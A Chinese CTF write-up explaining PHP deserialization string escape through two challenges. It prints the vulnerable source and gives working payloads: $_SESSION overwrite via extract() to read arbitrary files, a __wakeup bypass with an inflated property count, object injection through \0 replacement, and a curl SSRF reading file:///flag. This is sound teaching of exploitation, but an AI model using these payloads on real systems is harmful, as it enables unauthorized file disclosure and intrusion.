写点什么

两道题浅析 PHP 反序列化逃逸

  • 2023-12-05
    福建
  • 本文字数:4200 字

    阅读完需:约 14 分钟

两道题浅析 PHP 反序列化逃逸


一、介绍


  • 反序列化逃逸的出现是因为 php 反序列化函数在进行反序列化操作时,并不会审核字符串中的内容,所以我们可以操纵属性值,使得反序列化提前结束。


  • 反序列化逃逸题一般都是存在一个 filter 函数,这个函数看似过滤了敏感字符串,其实使得代码的安全性有所降低;并且分为 filter 后字符串加长以及字符串变短两种情况,这两种情况有着不同的处理方式。


例如这段代码:


<?php
function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img);}
$ab=array('user'=>'flagflagflag','1'=>'1');echo filter(serialize($ab));
?>
复制代码


本来反序列化的结果为:a:2:{s:4:"user";s:12:"flagflagflag";i:1;s:1:"1";}


但是因为敏感字符串替换变成了:a:2:{s:4:"user";s:12:"";i:1;s:1:"1";}


这样在反序列化时,就导致了原先的键值flagflagflag被现在的 12 个字符";i:1;s:1:"1替换了。导致函数误以为键user的值为";i:1;s:1:"1


但是同时这里确定了有两个类,所以要想反序列化成功,则需要让原来键 1 对应值再包含一个类,这样就能够填补前面被覆盖的 1 键值的空缺;i:1;s:1:"1"应该是i:1;s:13:"1";i:2;s:1:"2",即过滤后字符串为:a:2:{s:4:"user";s:13:"";i:1;s:13:"1";i:2;s:1:"2";}


下面通过两道题实际应用一下该漏洞。


二、【安洵杯 2019】easy_serialize_php


2.1 收获


  • php 反序列化逃逸


  • 数组变量覆盖


  • POST 请求体传递数组


2.2 分析


  • 代码:


<?php
$function = @$_GET['f'];
function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img);}

if($_SESSION){ unset($_SESSION);}
$_SESSION["user"] = 'guest';$_SESSION['function'] = $function;
extract($_POST);
if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>';}
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png');}else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){ highlight_file('index.php');}else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here!}else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img']));}
复制代码


分析代码,首先filter函数实现了一个替换字符串中敏感字符为空的操作。


然后对 $__SESSION 进行了设置,但是下面出现了一个extract($_POST);。在 Php 中extract函数实现一个提取数组中键值并覆盖原数组的功能。也就是说,虽然上面设置了 user 键的内容,但是如果 POST 变量中不存在 user 键,那么更新后的 $__SESSION 中则不包含 user 键。


下面又进行了 img 键值的设置,并将序列化后的字符串传入 filter 中进行过滤。


  • 思路


首先肯定是需要查看 phpinfo()中的文件;然后应该是通过更改 $__SESSION 数组实现反序列化读文件。


3.3 利用


  • 访问 Phpinfo:


得到了一个提示,包含了 d0g3_f1ag.php 文件。说明我们需要访问这个 php 文件。


  • 读文件:


当我们 GET 请求中设置 img_path 变量时,势必会触发sha1函数,这样我们无法读取正常的路径;但是不设置 img_path 更无法得到文件内容。于是思考这个反序列化。因为反序列化后的字符串会经过 filter 函数处理,那能不能通过故意引入敏感字符串,使得序列化后的字符串改变,从而在反序列时得到我们想要的输出呢?


  • payload


在本题中因为将敏感字符串替换为空,所以是字符串变短的情况。


首先f的值需要为show_image;其次我们需要覆盖img键对应的值为d0g3_f1ag.php的编码值:ZDBnM19mMWFnLnBocA==。也就是说我们构造的字符串中要包括:s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==",并且让该字符串前面的序列化内容正好被敏感字符过滤的坑位吃掉。同时,为了覆盖最后系统赋值的img,我们在字符串后面还要加一个类。


_SESSION[test]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:1;s:1:"2";}
复制代码


其过滤后的序列化结果为:



原本的红线部分作为了现在func键的值。


  • 抓包:



注意_SESSION 数组修改方式不包含 $符号与引号(不要按照 Php 格式写就行,这里笨了)。


  • 继续:


说明要继续读取:/d0g3_fllllllag=>L2QwZzNfZmxsbGxsbGFn


payload:


_SESSION[user]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:1;s:1:"2";}
复制代码


三、Bugku newphp


3.1 收获


  • php 反序列化逃逸


  • __wakeup 函数绕过


3.2 分析


题目代码:


<?php// php版本:5.4.44header("Content-type: text/html; charset=utf-8");highlight_file(__FILE__);
class evil{ public $hint;
public function __construct($hint){ $this->hint = $hint; }
public function __destruct(){ if($this->hint==="hint.php") @$this->hint = base64_encode(file_get_contents($this->hint)); var_dump($this->hint); }
function __wakeup() { if ($this->hint != "╭(●`∀´●)╯") { //There's a hint in ./hint.php $this->hint = "╰(●’◡’●)╮"; } }}
class User{ public $username; public $password;
public function __construct($username, $password){ $this->username = $username; $this->password = $password; }
}
function write($data){ global $tmp; $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data); $tmp = $data;}
function read(){ global $tmp; $data = $tmp; $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data); return $r;}
$tmp = "test";$username = $_POST['username'];$password = $_POST['password'];
$a = serialize(new User($username, $password));if(preg_match('/flag/is',$a)) die("NoNoNo!");
unserialize(read(write($a)));
复制代码


  • 首先为了能够访问 hint.php,我们需要绕过__wakeup()函数,不然 hint 变量会被赋值为表情符号。


  • 这里的绕过其实简单,因为如果序列化字符串中声明的变量数量大于实际的变量数量就可以实现不执行__wakeup()


  • 正常的 evil 类序列化后为:O:4:"evil":1:{s:4:"hint";s:8:"hint.php";},这里只有一个属性。我们将其改为O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}


  • 其次,为了反序列化后的结果为 evil 类,需要进行反序列化逃逸,因为无法使用 username=new evil()然后在 User 类的__construct()函数创建 evil 类的办法。


  • 我们需要使得 User 中的 username 或者 password 属性为O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}


  • 分析write()read()函数可以发现,chr(0)对应的是空字符,一般


  • 我们提供的字符串中不会包含空字符;但是我们可以让字符串中包含\0\0\0 从而在read()函数中实现替换,使得字符串变短一半。这里需要注意 chr(0)虽然是空字符串,但是其也占了一个长度,所以从'\0\0\0'到 chr(0).*.chr(0)其实是字符串缩短了一半。


  • 正常的 User 类序列化之后为O:4:"User":2:{s:8:"username";s:8:"hint.php";s:8:"password";s:4:"test"}。如果我们让 username 中包含许多\0,从而字符串变短后吞掉后面的"s:8:"password";s:4:"共 21 个字符串,但是同时因为我们的 payload 最后肯定是大于 10 的,所以 password 后面的 s:4 应该是两位数而不是 4,所以总共需要吞掉 22 个字符。


  • 量子力学计算一下,我们需要 24 个\0,并且 password 中增加一写字符串,才能实现覆盖 22 个字符串。


  • 测试:


<?phpclass evil{    public $hint;
function __wakeup() { echo $this->hint; }}class User{ public $username; public $password;
public function __construct(){ $this->username = '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'; #24 $this->password = ';";s:8:"password";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}}'; }
}$a=new User();echo serialize($a);echo ' ';function write($data){ global $tmp; $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data); $tmp = $data;}
function read(){ global $tmp; $data = $tmp; $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data); return $r;}echo read(write(serialize($a)));unserialize(read(write(serialize($a))))?>
复制代码


  • 这样会直接输出字符串 hint.php。实际为了躲避__wakeup 函数,evil 的类变量需要设置为 2。


3.3 反序列化逃逸


payload:


username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=;";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}
复制代码


3.4 SSRF


得到 base64 字符串解码:


<?php $hint = "index.cgi"; // You can't see me~
复制代码


直接访问后得到:


{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-Id": "Root=1-656d4ec1-1bc041685ed0055f65124685" }, "origin": "114.67.175.224", "url": "http://httpbin.org/get?name=Bob" } 
复制代码


说明网站是向http://httpbin.org发送了一个请求,那这里就需要 SSRF。


这里我们可以向其传参 name 参数,并且 Agent 里面提示了,其使用的是 curl 进行发送请求。


所以为了读取 flag,我们要使用 file 协议,但是这里是向http://httpbin.org发送请求。这里使用空格截断,这样在 curl 同时可以实现向两个 url 发送请求(可以在本地命令行测试 curl 的用法)


payload:


?name= file:///flag
复制代码


注意 name 后的空格。

总结


  • 对于反序列化逃逸题目首先要看有没有序列化后的字符串替换,如果存在,可以说题目基本上是在考察该知识点。


  • 分析替换方式。缩短类型:基本上是靠前一个属性包含的字符串被缩短后,吞吃后一个属性;同时在后一个属性中存放需要利用的属性即可。变长类型:这个后续如果遇到相关题目会进行补充。


文章转载自:CAP_T

原文链接:https://www.cnblogs.com/CAPD/p/17875223.html

用户头像

还未添加个人签名 2023-06-19 加入

还未添加个人简介

评论

发布
暂无评论
两道题浅析PHP反序列化逃逸_php_不在线第一只蜗牛_InfoQ写作社区